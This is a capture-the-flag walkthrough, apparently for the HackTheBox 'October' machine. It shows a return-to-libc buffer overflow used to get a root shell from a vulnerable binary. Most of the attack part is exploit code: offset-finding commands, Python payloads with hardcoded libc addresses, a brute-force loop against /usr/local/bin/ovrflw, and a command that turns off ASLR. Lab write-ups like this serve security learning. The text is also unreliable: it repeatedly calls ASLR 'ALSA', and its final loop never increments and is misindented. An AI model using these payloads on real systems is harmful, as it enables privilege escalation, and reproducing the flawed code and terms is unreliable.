Buffer Overflow – Return to Libc


In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.

Return-to-libc is a method that defeats stack protection on linux systems.

This article will show you that how to attack C program by using buffer overflow and return to Libc method to pop a bash shell.

buffer overflow


The example come form HackTheBox – October Box. You can download the C program by click this link. (MD5 is: 0e531949d891fd56a2ead07610cc5ded)

We are using Kali Linux to do buffer overflow. We need install peda.py in our Kali Linux. You can click this link to learn how to install it.


There is a vulnerable program in the target system. However, target system does not have any analyst tools (such as gdb). We download the program to our local machine, then develop an initial version exploit program. Then, we develop final version exploit in the target machine based on our initial version exploit program.

Buffer Overflow

Check ALSA

We are using following command to check if the ALSA is open. If the address is changing, which means that ALSA is enable.

ldd ./vuln | grep libc 

Check vuln ALSA

We can see that the ALSA is open. It does not matter. Because we can see that it changes slightly. This means that we can bypass it. I will mention how to bypass it in the end of the article.

Check Buffer length

We are using following command to create our payload.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 

Create Pattern Payload

Then, we are running gdb, and exec this payload. (Check buffer length)

gdb buffer overflow check length

As we can see, it returns a value: 0x64413764. This is our buffer size.

Then, we run script to translate this size.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764

We can see that the buffer size is 112.

First Payload Script

Now, we can develop our first payload.

import struct

buf = "A" * 112
buf += struct.pack("<I", 0xb7e19000) #Exit Address, Does not matter

print buf

Then, we run it in the gdb.

gdb with exit addr

We can find that the exit code is changed.

Get Addresses

Get System, exit and /bin/sh addresses

Now, we need to get 3 addresses. First, we need to get System Address. We start gdb again.

get system and sh address

As we can see:
System address is: 0xf7e3f310
/bin/sh address is: 0xf7f61bac

For exit address:

exit address

In this case, we are using: 0xf7e0d1db

Second payload script

import struct

system_addr = struct.pack("<I", 0xf7e3f310)
arg_addr = struct.pack("<I", 0xf7f61bac)
exit_addr = struct.pack("<I", 0xf7e0d1db)

buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr

print buf

As I mentioned, ALSA is open. We need temporary close it by using:

echo 0 > /proc/sys/kernel/randomize_va_space 

Then, we run our payload. You will see that we got a shell.

Got shell without ALSA

Payload on Server

However, it just work on our local machine. It will not work on the target server. Because, when we run application, the address will totally changed. Now, we are going to develop the payload.

Get Libc Base Address

First, due to ALSA, the address is changing. We need to get a base address.

libc base address

We can see that the base address is: 0xb761f000

Get Libc System Address

Second, get Libc Address on the server.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system 

libc system address

we can see that the address is: 0x00040310

Get Libc Exit Address

Third, get Exit address on the server.

libc exit address

we can see that the exit address is: 0x00033260

Get Libc /bin/sh Address

We also need to get /bin/sh address.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh 

libc sh address

We can see that the /bin/sh address is: 0x00162bac

Final Payload

Because there is ALSA, so our final payload need use “brute force”

from subprocess import call
import struct

libc_addr = 0xb761f000
sys_off_addr = 0x00040310
exit_off_addr = 0x00033260
arg_off_addr = 0x00162bac

sys_addr = struct.pack("<I", libc_addr+sys_off_addr)
exit_addr = struct.pack("<I", libc_addr+exit_off_addr)
arg_addr = struct.pack("<I", libc_addr+arg_off_addr)

buf = "A" * 112
buf += sys_addr
buf += exit_addr
buf += arg_addr

i = 0
 while (i < 512):
 print "Try: %s" %i
 print buf
 i += i
 ret = call(["/usr/local/bin/ovrflw", buf])

Finally, we got the root shell.

root shell